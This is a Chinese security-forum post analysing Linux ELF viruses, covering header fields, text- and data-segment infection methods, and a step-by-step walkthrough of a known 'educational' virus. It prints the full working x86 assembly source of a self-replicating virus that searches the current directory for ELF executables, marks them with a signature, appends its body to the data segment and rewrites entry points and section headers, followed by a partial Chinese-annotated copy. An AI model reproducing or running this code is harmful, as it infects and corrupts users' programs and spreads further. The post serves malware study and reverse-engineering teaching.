首页
社区
课程
招聘
[原创]ELF数据段注入virus分析
发表于: 2024-9-30 18:50 4153

[原创]ELF数据段注入virus分析

2024-9-30 18:50
4153

Unix/Linux病毒通常具备三项主要功能:宿主文件寄生、系统内核感染和网络升级。首先,病毒必须通过某种方式附着于宿主文件,这意味着需要修改宿主程序,将病毒代码插入其中。当宿主程序运行时,病毒代码和宿主代码会一起映射到进程空间中,病毒优先执行,随后将控制权返回给宿主。其次,病毒具有传染性,被感染的宿主程序可以进一步感染其他文件,从而加速病毒在本地目录中的传播。最后,病毒通过可加载的内核模块(LKM)重新加载系统调用,使其更容易被多次触发。同时,病毒还能够修改系统参数,隐藏自身,隐蔽性极强。除此之外,病毒还支持通过网络进行升级。  


ELF 文件病毒通常具有这些特点:


ELF(Executable and Linkable Format)文件的结构主要分为几个部分,具体如下:




ELF (Executable and Linkable Format)文件,是在 Linux 中的目标文件,目标文件既会参与程序链接又会参与程序执行,对于不同的情况,目标文件格式提供了其内容的两种并行视图,如下:

其他内容的数据结构及作用可以去自行查询资料,这里就不赘述了



    看上面的ELF文件格式,程序段(segment)是由程序头表(program header)描述的单位;程序节(section) 是由节头表(section header)描述的单位。程序节(section)保存着链接器所用信息,包括:程序 指令,数据,符号表,重定位信息,字符表等等。而程序段(segment)主要是从文件(file)如何 映(mapping)到内存的角度来划分的。以上的三个部分决定目标文件如何与其他目标文件连接,载入内存,以及如何执行。因此 病毒体寄生宿主,驻留内存的关键在于修改寄主的ELF 头,程序头表,节头表信息,然后插入自身代码于寄主文件体中。

其中病毒将使用的域为:

[e_ident]: ELF 文件头中的第一个字段,用来标识文件的基本属性。e_ident 长度为 16 字节,它包含了 ELF 文件的魔数、文件格式、架构等关键信息,并提供一个机器无关数据,解释文件内容。

具体的分布:


[e_entry]: ELF 文件头中的一个字段,用来指定程序的入口点地址,也就是操作系统在加载并执行程序时开始执行的第一条指令的地址 。对于不同的系统架构,e_entry 的长度不同:

如果 ELF 文件被病毒感染,病毒会修改 e_entry,让它指向病毒代码的入口。病毒执行完自己的代码后,再跳转回原程序的入口点继续执行。这是病毒篡改文件的典型手法。  

[e_phoff]:程序头表(program header table)在文件中的偏移量(以字节计数)

例如:


[e_shoff]: ELF 文件头中的一个字段,它表示节头表(Section Header Table)在文件中的偏移量。节头表包含了文件中的所有节(Section)的信息,如 .text.data.bss 等。  

e_shoff 指定了节头表在 ELF 文件中的字节偏移量。操作系统或链接器会根据这个偏移量找到节头表,从而了解文件中的各个节(section)的布局和属性。

 

病毒的寄生方式 一般来说,病毒寄生四种主要方式:


对于第二种寄生方式有以下几种:

在实现病毒感染的过程中,我们利用 ELF 文件的特性,特别是在其加载到内存后,尾部通常会被填充为零以形成完整的内存页面。由于内存页面的大小限制,32位系统上最多可以容纳一个4 KB 的病毒,而在64位系统上则可以容纳多达2 MB 的病毒。尽管这个大小看起来有限,但对于用 C 或汇编语言编写的小型病毒而言,已经足够。

实现这一目标的具体方法如下:

反向感染的过程允许我们在不改变宿主代码虚拟地址的情况下,感染 .text 段的前面部分。这个过程的核心在于反向扩展 .text 段的起始部分,以便为病毒提供更多的感染空间。

现代 Linux 系统允许的最小虚拟映射地址为 0x1000,这为反向扩展设置了限制。在64位系统中,.text 段的默认虚拟地址通常是 0x400000,这样可以为病毒提供减去 ELF 头长度后的约 0x3ff000 的空间。而在32位系统中,.text 段的默认虚拟地址通常为 0x08048000,这为病毒提供了更大的自由度。

实现反向感染的方法包括:

数据段感染是病毒传播的一种策略,目标是将病毒代码附加到数据段(.data 段),并位于 .bss 段之前。这种方法的优势在于数据部分的限制较少,病毒代码可以扩展得更大,且不容易被发现。

数据内存段具有 R + W(读和写)的权限,而 .text 内存段则是 R + X(读和执行)。在一些没有启用 NX 位的系统(例如32位 Linux)中,执行数据段中的代码并不需要更改权限设置。然而,在其他系统中,病毒必须在其驻留的内存段属性中添加可执行标志,以确保能够正常执行。

实现数据段感染的步骤包括:


下面就数据段感染剖析一个ELF病毒源码案例:

源码来源:

cranklin/cranky-data-virus: Educational virus written in Assembly that infects 32-bit ELF executables on Linux using the data segment infection method (github.com)

源码如下:

分析:

初始化.bss段:

这里通过循环将0压入栈中,形成一个虚拟的 .bss 段,重复2328次,以分配足够的内存空间,因为.bss在初始化的时候就是填充0。循环结束时,edi 指向这个虚拟 .bss 段的起始位置。  


获取当前文件夹路径  :

代码通过 call folder 调用一个函数并存储当前目录(.)。这里 db ".", 0 是定义当前目录的路径(. 代表当前目录,字符串以0结尾)。


返回并获取文件夹路径名  :

在调用 folder 时,函数会将返回地址压栈,pop ebx 会将它弹出并存储到 ebx,此时 ebx 中包含了文件夹路径(即.)。


打开文件夹  :

sys_open 用于打开文件夹。这里的文件夹路径是 ebx(当前目录),通过中断 int 0x80(软中断) 进行系统调用。执行后,文件描述符存储在 eax 中。  


检查文件描述符  

如果文件描述符小于等于0,表示文件夹打开失败,跳转到 v_stop 终止程序。  


读取文件夹内容:  

使用 sys_getdents64 系统调用读取目录项。将读取的数据存储到伪 .bss 段中。此时 edi 指向的地址是伪 .bss 段,而 ecx 用作缓冲区的起始地址,偏移32字节用于存储结果。  


关闭文件描述符:  


重置偏移并准备处理读取到的数据:  

重置 ebx 为0,将它用作处理读取到的目录项数据时的偏移量。  



检查当前字节:


增加 ebx 并寻找特定序列:


清零并准备文件名:


寻找文件名结束标记:


保存和设置偏移量:


恢复偏移量并增加:


检查文件名结束标记:


添加字符串结束标记:


调用文件扫描函数:


查找下一个文件:


打开文件:


检查文件描述符:


读取文件内容:


调用 ELF 头检查函数:


检查 ELF 文件头:


检查文件是否已被感染:


保存有效目标文件名:


关闭文件:


2. 返回:


感染目标文件:


获取目标文件名:


读取文件内容:


循环读取文件:


处理文件末尾:


获取 ELF 文件头信息:


程序头循环:


找到数据段:


保存旧的入口点并准备插入病毒:


更新 ELF 文件头:


更新段信息:


节头循环:


找到 .bss 节:


更新 .bss 节地址:


更新节头的偏移量:


遍历所有节头:


完成感染:


打开目标文件并写入修改:


将病毒的偏移存储在文件名缓冲区:


调用后续处理:


计算 Delta 偏移量:


写入病毒部分:


保存原始入口点:


继续写入:


写入剩余部分:


同步文件:


关闭文件并感染下一个目标:


结束病毒体:


基本流程如下图:


对于其他形式的elf段的注入可参考:

text段感染:Linux病毒技术之Silvio填充感染 - 先知社区 (aliyun.com)





#define EI_NIDENT   16

typedef struct {
    unsigned char   e_ident[EI_NIDENT];
    ELF32_Half      e_type;
    ELF32_Half      e_machine;
    ELF32_Word      e_version;
    ELF32_Addr      e_entry;
    ELF32_Off       e_phoff;
    ELF32_Off       e_shoff;
    ELF32_Word      e_flags;
    ELF32_Half      e_ehsize;
    ELF32_Half      e_phentsize;
    ELF32_Half      e_phnum;
    ELF32_Half      e_shentsize;
    ELF32_Half      e_shnum;
    ELF32_Half      e_shstrndx;
} Elf32_Ehdr;
typedef struct {
    ELF32_Word  p_type;
    ELF32_Off   p_offset;
    ELF32_Addr  p_vaddr;
    ELF32_Addr  p_paddr;
    ELF32_Word  p_filesz;
    ELF32_Word  p_memsz;
    ELF32_Word  p_flags;
    ELF32_Word  p_align;
} Elf32_Phdr;
typedef struct {
    ELF32_Word      sh_name;
    ELF32_Word      sh_type;
    ELF32_Word      sh_flags;
    ELF32_Addr      sh_addr;
    ELF32_Off       sh_offset;
    ELF32_Word      sh_size;
    ELF32_Word      sh_link;
    ELF32_Word      sh_info;
    ELF32_Word      sh_addralign;
    ELF32_Word      sh_entsize;
} Elf32_Shdr;
section .text
global v_start

v_start:
; virus body start

; make space in the stack for some uninitialized variables to avoid a .bss section
mov ecx, 2328   ; set counter to 2328 (x4 = 9312 bytes). filename (esp), buffer (esp+32), targets (esp+1056), targetfile (esp+2080)
loop_bss:
push 0x00       ; reserve 4 bytes (double word) of 0's
sub ecx, 1      ; decrement our counter by 1
cmp ecx, 0
jbe loop_bss
mov edi, esp    ; esp has our fake .bss offset.  Let's store it in edi for now.

call folder
db ".", 0
folder:
pop ebx         ; name of the folder
mov esi, 0      ; reset offset for targets
mov eax, 5      ; sys_open
mov ecx, 0
mov edx, 0
int 80h

cmp eax, 0      ; check if fd in eax > 0 (ok)
jbe v_stop        ; cannot open file.  Exit virus

mov ebx, eax
mov eax, 0xdc   ; sys_getdents64
mov ecx, edi    ; fake .bss section
add ecx, 32     ; offset for buffer
mov edx, 1024
int 80h

mov eax, 6  ; close
int 80h
xor ebx, ebx    ; zero out ebx as we will use it as the buffer offset

find_filename_start:
; look for the sequence 0008 which occurs before the start of a filename
inc ebx
cmp ebx, 1024
jge infect
cmp byte [edi+32+ebx], 0x00     ; edi+32 is buffer
jnz find_filename_start
inc ebx
cmp byte [edi+32+ebx], 0x08     ; edi+32 is buffer
jnz find_filename_start

xor ecx, ecx    ; clear out ecx which will be our offset for file
mov byte [edi+ecx], 0x2e   ; prepend file with ./ for full path (.)  edi is filename
inc ecx
mov byte [edi+ecx], 0x2f   ; prepend file with ./ for full path (/)  edi is filename
inc ecx

find_filename_end:
; look for the 00 which denotes the end of a filename
inc ebx
cmp ebx, 1024
jge infect

push esi                ; save our target offset
mov esi, edi            ; fake .bss
add esi, 32             ; offset for buffer
add esi, ebx            ; set source
push edi                ; save our fake .bss
add edi, ecx            ; set destination to filename
movsb                   ; moved byte from buffer to filename
pop edi                 ; restore our fake .bss
pop esi                 ; restore our target offset
inc ecx                 ; increment offset stored in ecx

cmp byte [edi+32+ebx], 0x00 ; denotes end of the filename
jnz find_filename_end

mov byte [edi+ecx], 0x00 ; we have a filename. Add a 0x00 to the end of the file buffer

push ebx                ; save our offset in buffer
call scan_file
pop ebx                 ; restore our offset in buffer

jmp find_filename_start ; find next file

scan_file:
; check the file for infectability
mov eax, 5      ; sys_open
mov ebx, edi    ; path (offset to filename)
mov ecx, 0      ; O_RDONLY
int 80h

cmp eax, 0      ; check if fd in eax > 0 (ok)
jbe return      ; cannot open file.  Return

mov ebx, eax    ; fd
mov eax, 3      ; sys_read
mov ecx, edi    ; address struct
add ecx, 2080   ; offset to targetfile in fake .bss
mov edx, 12     ; all we need are 4 bytes to check for the ELF header but 12 bytes to find signature
int 80h

call elfheader
dd 0x464c457f     ; 0x7f454c46 -> .ELF (but reversed for endianness)
elfheader:
pop ecx
mov ecx, dword [ecx]
cmp dword [edi+2080], ecx ; this 4 byte header indicates ELF! (dword).  edi+2080 is offset to targetfile in fake .bss
jnz close_file  ; not an executable ELF binary.  Return

; check if infected
mov ecx, 0x001edd0e     ; 0x0edd1e00 signature reversed for endianness
cmp dword [edi+2080+8], ecx   ; signature should show up after the 8th byte.  edi+2080 is offset to targetfile in fake .bss
jz close_file                   ; signature exists.  Already infected.  Close file.

save_target:
; good target!  save filename
push esi    ; save our targets offset
push edi    ; save our fake .bss
mov ecx, edi    ; temporarily place filename offset in ecx
add edi, 1056   ; offset to targets in fake .bss
add edi, esi
mov esi, ecx    ; filename -> edi -> ecx -> esi
mov ecx, 32
rep movsb   ; save another target filename in targets
pop edi     ; restore our fake .bss
pop esi     ; restore our targets offset
add esi, 32

close_file:
mov eax, 6
int 80h

return:
ret

infect:
; let's infect these targets!
cmp esi, 0
jbe v_stop ; there are no targets :( exit

sub esi, 32

mov eax, 5              ; sys_open
mov ebx, edi            ; path
add ebx, 1056           ; offset to targets in fake .bss
add ebx, esi            ; offset of next filename
mov ecx, 2              ; O_RDWR
int 80h

mov ebx, eax            ; fd

mov ecx, edi
add ecx, 2080           ; offset to targetfile in fake .bss

reading_loop:
mov eax, 3              ; sys_read
mov edx, 1              ; read 1 byte at a time (yeah, I know this can be optimized)
int 80h

cmp eax, 0              ; if this is 0, we've hit EOF
je reading_eof
mov eax, edi
add eax, 9312           ; 2080 + 7232
cmp ecx, eax            ; if the file is over 7232 bytes, let's quit
jge infect
add ecx, 1
jmp reading_loop

reading_eof:
push ecx                ; store address of last byte read. We'll need this later
mov eax, 6              ; close file
int 80h

xor ecx, ecx
xor eax, eax
mov cx, word [edi+2080+44]     ; ehdr->phnum (number of program header entries)
mov eax, dword [edi+2080+28]   ; ehdr->phoff (program header offset)
sub ax, word [edi+2080+42]     ; subtract 32 (size of program header entry) to initialize loop

program_header_loop:
; loop through program headers and find the data segment (PT_LOAD, offset>0)

;0	p_type	type of segment
;+4	p_offset	offset in file where to start the segment at
;+8	p_vaddr	his virtual address in memory
;+c	p_addr	physical address (if relevant, else equ to p_vaddr)
;+10	p_filesz	size of datas read from offset
;+14	p_memsz	size of the segment in memory
;+18	p_flags	segment flags (rwx perms)
;+1c	p_align	alignement
add ax, word [edi+2080+42]
cmp ecx, 0
jbe infect                  ; couldn't find data segment.  let's close and look for next target
sub ecx, 1                  ; decrement our counter by 1

mov ebx, dword [edi+2080+eax]   ; phdr->type (type of segment)
cmp ebx, 0x01                   ; 0: PT_NULL, 1: PT_LOAD, ...
jne program_header_loop             ; it's not PT_LOAD.  look for next program header

mov ebx, dword [edi+2080+eax+4]     ; phdr->offset (offset of program header)
cmp ebx, 0x00                       ; if it's 0, it's the text segment.  Otherwise, we found the data segment
je program_header_loop              ; it's the text segment.  We're interested in the data segment

mov ebx, dword [edi+2080+24]        ; old entry point
push ebx                            ; save the old entry point
mov ebx, dword [edi+2080+eax+4]     ; phdr->offset (offset of program header)
mov edx, dword [edi+2080+eax+16]    ; phdr->filesz (size of segment on disk)
add ebx, edx                        ; offset of where our virus should reside = phdr[data]->offset + p[data]->filesz
push ebx                            ; save the offset of our virus
mov ebx, dword [edi+2080+eax+8]     ; phdr->vaddr (virtual address in memory)
add ebx, edx        ; new entry point = phdr[data]->vaddr + p[data]->filesz

mov ecx, 0x001edd0e     ; insert our signature at byte 8 (unused section of the ELF header)
mov [edi+2080+8], ecx
mov [edi+2080+24], ebx  ; overwrite the old entry point with the virus (in buffer)
add edx, v_stop - v_start   ; add size of our virus to phdr->filesz
add edx, 7                  ; for the jmp to original entry point
mov [edi+2080+eax+16], edx  ; overwrite the old phdr->filesz with the new one (in buffer)
mov ebx, dword [edi+2080+eax+20]    ; phdr->memsz (size of segment in memory)
add ebx, v_stop - v_start   ; add size of our virus to phdr->memsz
add ebx, 7                  ; for the jmp to original entry point
mov [edi+2080+eax+20], ebx  ; overwrite the old phdr->memsz with the new one (in buffer)

xor ecx, ecx
xor eax, eax
mov cx, word [edi+2080+48]      ; ehdr->shnum (number of section header entries)
mov eax, dword [edi+2080+32]    ; ehdr->shoff (section header offset)
sub ax, word [edi+2080+46]      ; subtract 40 (size of section header entry) to initialize loop

section_header_loop:
; loop through section headers and find the .bss section (NOBITS)

;0	sh_name	contains a pointer to the name string section giving the
;+4	sh_type	give the section type [name of this section
;+8	sh_flags	some other flags ...
;+c	sh_addr	virtual addr of the section while running
;+10	sh_offset	offset of the section in the file
;+14	sh_size	zara white phone numba
;+18	sh_link	his use depends on the section type
;+1c	sh_info	depends on the section type
;+20	sh_addralign	alignement
;+24	sh_entsize	used when section contains fixed size entrys
add ax, word [edi+2080+46]
cmp ecx, 0
jbe finish_infection        ; couldn't find .bss section.  Nothing to worry about.  Finish the infection
sub ecx, 1                  ; decrement our counter by 1

mov ebx, dword [edi+2080+eax+4]     ; shdr->type (type of section)
cmp ebx, 0x00000008         ; 0x08 is NOBITS which is an indicator of a .bss section
jne section_header_loop     ; it's not the .bss section

mov ebx, dword [edi+2080+eax+12]    ; shdr->addr (virtual address in memory)
add ebx, v_stop - v_start   ; add size of our virus to shdr->addr
add ebx, 7                  ; for the jmp to original entry point
mov [edi+2080+eax+12], ebx  ; overwrite the old shdr->addr with the new one (in buffer)

section_header_loop_2:
mov edx, dword [edi+2080+eax+16]    ; shdr->offset (offset of section)
add edx, v_stop - v_start   ; add size of our virus to shdr->offset
add edx, 7                  ; for the jmp to original entry point
mov [edi+2080+eax+16], edx  ; overwrite the old shdr->offset with the new one (in buffer)

add eax, 40
sub ecx, 1
cmp ecx, 0
jg section_header_loop_2    ; this loop isn't necessary to make the virus function, but inspecting the host file with a readelf -a shows a clobbered symbol table and section/segment mapping

finish_infection:
;dword [edi+2080+24]       ; ehdr->entry (virtual address of entry point)
;dword [edi+2080+28]       ; ehdr->phoff (program header offset)
;dword [edi+2080+32]       ; ehdr->shoff (section header offset)
;word [edi+2080+40]        ; ehdr->ehsize (size of elf header)
;word [edi+2080+42]        ; ehdr->phentsize (size of one program header entry)
;word [edi+2080+44]        ; ehdr->phnum (number of program header entries)
;word [edi+2080+46]        ; ehdr->shentsize (size of one section header entry)
;word [edi+2080+48]        ; ehdr->shnum (number of program header entries)
mov eax, v_stop - v_start       ; size of our virus minus the jump to original entry point
add eax, 7                      ; for the jmp to original entry point
mov ebx, dword [edi+2080+32]    ; the original section header offset
add eax, ebx                    ; add the original section header offset
mov [edi+2080+32], eax      ; overwrite the old section header offset with the new one (in buffer)

mov eax, 5              ; sys_open
mov ebx, edi            ; path
add ebx, 1056           ; offset to targets in fake .bss
add ebx, esi            ; offset of next filename
mov ecx, 2              ; O_RDWR
int 80h

mov ebx, eax            ; fd
mov eax, 4              ; sys_write
mov ecx, edi
add ecx, 2080           ; offset to targetfile in fake .bss
pop edx                 ; host file up to the offset where the virus resides
int 80h
mov [edi+7], edx        ; place the offset of the virus in this unused section of the filename buffer

call delta_offset
delta_offset:
pop ebp                 ; we need to calculate our delta offset because the absolute address of v_start will differ in different host files.  This will be 0 in our original virus
sub ebp, delta_offset

mov eax, 4
lea ecx, [ebp + v_start]    ; attach the virus portion (calculated with the delta offset)
mov edx, v_stop - v_start   ; size of virus bytes
int 80h

pop edx                 ; original entry point of host (we'll store this double word in the same location we used for the 32 byte filename)
mov [edi], byte 0xb8        ; op code for MOV EAX (1 byte)
mov [edi+1], edx            ; original entry point (4 bytes)
mov [edi+5], word 0xe0ff    ; op code for JMP EAX (2 bytes)

    mov eax, 4
    mov ecx, edi            ; offset to filename in fake .bss
    mov edx, 7              ; 7 bytes for the final jmp to the original entry point
    int 80h

    mov eax, 4              ; sys_write
    mov ecx, edi
    add ecx, 2080           ; offset to targetfile in fake .bss
    mov edx, dword [edi+7]  ; offset of the virus
    add ecx, edx            ; let's continue where we left off

    pop edx                 ; offset of last byte in targetfile in fake.bss
    sub edx, ecx            ; length of bytes to write
    int 80h

    mov eax, 36             ; sys_sync
    int 80h

    mov eax, 6              ; close file
    int 80h

    jmp infect

v_stop:
    ; virus body stop (host program start)
    mov eax, 1      ; sys_exit
    mov ebx, 0      ; normal status
    int 80h
mov ecx, 2328     ; 分配2328个双字空间
loop_bss:
    push 0x00     ; 将0入栈,创建伪.bss段
    sub ecx, 1    ; ecx减1
    cmp ecx, 0
    jbe loop_bss  ; 如果ecx <= 0,退出循环
mov edi, esp      ; 保存栈顶指针到edi,作为伪.bss段的起始地址
call folder
db ".", 0         ; 存储当前目录路径
folder:
    pop ebx       ; 将返回地址弹出,并存储到ebx中,这里是文件夹路径名
mov eax, 5        ; 设置eax为5(表示系统调用sys_open)
mov ecx, 0
mov edx, 0
int 80h           ; 调用系统中断
cmp eax, 0        ; 检查eax中返回的文件描述符是否大于0
jbe v_stop        ; 如果文件描述符小于等于0,跳转到v_stop,表示打开失败
mov ebx, eax       ; 将文件描述符保存到ebx
mov eax, 0xdc      ; 设置eax为0xdc(sys_getdents64系统调用号)
mov ecx, edi       ; ecx指向伪.bss段的起始地址
add ecx, 32        ; 偏移32字节,预留空间用于存储读取到的内容
mov edx, 1024      ; 读取1024字节的目录内容
int 80h            ; 调用系统中断
mov eax, 6        ; 设置eax为6(sys_close系统调用)
int 80h           ; 调用系统中断,关闭文件描述符
xor ebx, ebx      ; 清空ebx,作为缓冲区偏移量
find_filename_start:
    inc ebx
    cmp ebx, 1024
    jge infect
cmp byte [edi+32+ebx], 0x00     ; edi+32 是缓冲区
jnz find_filename_start
inc ebx
cmp byte [edi+32+ebx], 0x08     ; edi+32 是缓冲区
jnz find_filename_start
xor ecx, ecx    ; 清空 ecx,作为文件的偏移量
mov byte [edi+ecx], 0x2e   ; 在文件名前添加 ./ 的第一个字节 (.)
inc ecx
mov byte [edi+ecx], 0x2f   ; 在文件名前添加 ./ 的第二个字节 (/)
inc ecx
find_filename_end:
    inc ebx
    cmp ebx, 1024
    jge infect
push esi                ; 保存目标偏移量
mov esi, edi            ; 伪.bss地址
add esi, 32             ; 缓冲区偏移量
add esi, ebx            ; 设置源地址
push edi                ; 保存伪.bss地址
add edi, ecx            ; 设置目标为文件名
movsb                   ; 从缓冲区移动一个字节到文件名
pop edi                 ; 恢复伪.bss地址
pop esi                 ; 恢复目标偏移量
inc ecx                 ; 增加存储在 ecx 中的偏移量
cmp byte [edi+32+ebx], 0x00 ; 检查文件名结束标记
jnz find_filename_end
mov byte [edi+ecx], 0x00 ; 文件名结束,添加0x00到文件缓冲区
push ebx                ; 保存缓冲区偏移量
call scan_file          ; 调用文件扫描函数
pop ebx                 ; 恢复缓冲区偏移量
jmp find_filename_start ; 查找下一个文件
scan_file:
    mov eax, 5      ; sys_open
    mov ebx, edi    ; 文件路径(文件名的偏移量)
    mov ecx, 0      ; 以只读模式打开
    int 80h
cmp eax, 0      ; 检查返回的文件描述符是否大于0
jbe return      ; 如果小于或等于0,跳转到返回
mov ebx, eax    ; 保存文件描述符
mov eax, 3      ; sys_read
mov ecx, edi    ; 结构体地址
add ecx, 2080   ; 偏移到伪.bss 中目标文件的位置
mov edx, 12     ; 读取12字节
int 80h
call elfheader
dd 0x464c457f     ; 0x7f454c46 -> .ELF(反向字节序)
elfheader:
    pop ecx
    mov ecx, dword [ecx]
    cmp dword [edi+2080], ecx ; 检查 ELF 文件头
    jnz close_file  ; 如果不是 ELF 文件,跳转到 close_file
mov ecx, 0x001edd0e     ; 感染签名,反向字节序
cmp dword [edi+2080+8], ecx   ; 检查感染签名是否存在
jz close_file                   ; 如果存在,文件已感染,关闭文件
save_target:
    push esi    ; 保存目标偏移
    push edi    ; 保存伪 .bss
    mov ecx, edi    ; 临时将文件名偏移放入 ecx
    add edi, 1056   ; 偏移到伪 .bss 中存储目标的地方
    add edi, esi
    mov esi, ecx    ; 处理文件名的偏移
    mov ecx, 32
    rep movsb   ; 保存目标文件名
    pop edi     ; 恢复伪 .bss
    pop esi     ; 恢复目标偏移
    add esi, 32
close_file:
    mov eax, 6
    int 80h
return:
    ret
infect:
    cmp esi, 0
    jbe v_stop ; 如果没有目标,跳转到 v_stop
sub esi, 32
mov eax, 5              ; sys_open
mov ebx, edi            ; 路径(文件名)
add ebx, 1056           ; 偏移到伪 .bss 中的目标
add ebx, esi            ; 下一目标文件名的偏移
mov ecx, 2              ; O_RDWR(读写模式)
int 80h
mov ebx, eax            ; 保存文件描述符
mov ecx, edi
add ecx, 2080           ; 偏移到目标文件内容
reading_loop:
    mov eax, 3              ; sys_read
    mov edx, 1              ; 每次读取1字节
    int 80h

    cmp eax, 0              ; 检查是否到达文件末尾
    je reading_eof
    mov eax, edi
    add eax, 9312           ; 检查文件大小
    cmp ecx, eax
    jge infect              ; 如果文件大于7232字节,停止感染
    add ecx, 1
    jmp reading_loop
reading_eof:
    push ecx                ; 存储最后读取字节的地址
    mov eax, 6              ; 关闭文件
    int 80h
xor ecx, ecx
xor eax, eax
mov cx, word [edi+2080+44]     ; 获取程序头条目的数量
mov eax, dword [edi+2080+28]   ; 获取程序头的偏移
sub ax, word [edi+2080+42]     ; 初始化循环
program_header_loop:
    add ax, word [edi+2080+42]  ; 更新偏移,指向下一个程序头
    cmp ecx, 0
    jbe infect                   ; 如果没有找到数据段,跳转到感染
    sub ecx, 1                   ; 减少程序头计数

    mov ebx, dword [edi+2080+eax]  ; 获取程序头的类型
    cmp ebx, 0x01                  ; 检查是否为 PT_LOAD
    jne program_header_loop        ; 如果不是 PT_LOAD,继续查找
mov ebx, dword [edi+2080+eax+4]  ; 获取当前程序头的偏移
cmp ebx, 0x00                       ; 检查偏移是否为0
je program_header_loop              ; 如果是0,则是文本段,继续查找
mov ebx, dword [edi+2080+24]     ; 旧的入口点
push ebx                          ; 保存旧的入口点
mov ebx, dword [edi+2080+eax+4]  ; 获取当前程序头的偏移
mov edx, dword [edi+2080+eax+16] ; 获取当前程序头的文件大小
add ebx, edx                      ; 计算病毒的新位置
push ebx                          ; 保存病毒的新偏移
mov ebx, dword [edi+2080+eax+8]  ; 获取虚拟地址
add ebx, edx                      ; 更新入口点
mov ecx, 0x001edd0e              ; 插入病毒的签名
mov [edi+2080+8], ecx             ; 更新 ELF 文件头中的签名
mov [edi+2080+24], ebx            ; 更新入口点

[培训]科锐逆向工程师培训第53期2025年7月8日开班!

最后于 2024-10-3 11:51 被k0n9d40编辑 ,原因:
收藏
免费 0
支持
分享
最新回复 (2)
雪    币: 239
活跃值: (45)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
2
good
2024-10-3 11:49
0
雪    币: 413
活跃值: (837)
能力值: ( LV9,RANK:170 )
在线值:
发帖
回帖
粉丝
3
专业,分析的真透彻!现在常规性的病毒不多了。当年的ghost病毒,1465病毒,有时一抓一大把。
2024-10-9 10:26
0
游客
登录 | 注册 方可回帖
返回